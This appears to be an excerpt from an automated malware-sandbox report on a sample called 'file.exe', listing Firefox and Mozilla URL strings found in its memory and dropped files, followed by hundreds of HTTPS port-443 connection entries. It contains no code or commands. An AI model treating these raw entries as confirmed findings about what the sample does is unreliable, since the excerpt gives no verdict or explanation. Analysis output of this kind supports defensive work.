Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000005.00000003.1763387003.0000000023610000.00000004.00000020.00020000.00000000.sdmp, AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000005.00000003.1763387003.0000000023610000.00000004.00000020.00020000.00000000.sdmp, AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
